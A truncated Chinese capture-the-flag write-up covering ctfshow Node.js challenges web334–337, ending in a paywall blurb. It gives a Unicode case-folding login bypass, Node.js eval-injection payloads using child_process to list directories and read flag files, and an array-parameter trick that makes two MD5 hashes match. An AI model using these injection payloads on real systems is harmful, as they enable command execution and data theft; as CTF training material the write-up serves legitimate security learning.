web334
在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。
所以用ctfſhow 123456登录就可以出flag了
web335
猜测题目中的代码为eval('xxx')xxx为我们传入的内容,eval中可以执行js代码,那么就可以执行系统命令了。
require('child_process').execSync('ls /').toString()
require( 'child_process' ).spawnSync( 'ls', [ '/' ] ).stdout.toString()
require( 'child_process' ).spawnSync( 'cat', [ 'f*' ] ).stdout.toString()
web336
require( 'child_process' ).spawnSync( 'ls', [ '/' ] ).stdout.toString()
require( 'child_process' ).spawnSync( 'cat', [ 'f*' ] ).stdout.toString()
web337
payload:a[x]=1&b[x]=2
运行如下代码
a={
'x':'1'}
b={
'x':'2'}
console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
两个都会打印出[object Object]flag{xxx},所以他们的md5也是一样的了。
有同学可能会问为什么传a[0]=1&b[0]=2不行呢,因为当我们这样传的时候相当于创了个变量a=[1] b=[2]
a=[1]
b=[2]
a=[1]
b=[2]
console.log

本文详细探讨了JavaScript中的字符转换、命令注入、原型链污染等安全问题,通过实例展示了如何利用这些漏洞执行系统命令、实现反射编程及进行权限提升。同时,提到了EJS和Pug模板引擎的利用方式,以及如何通过精心构造的payload来绕过过滤限制,达到攻击目的。
最低0.47元/天 解锁文章
702

被折叠的 条评论
为什么被折叠?



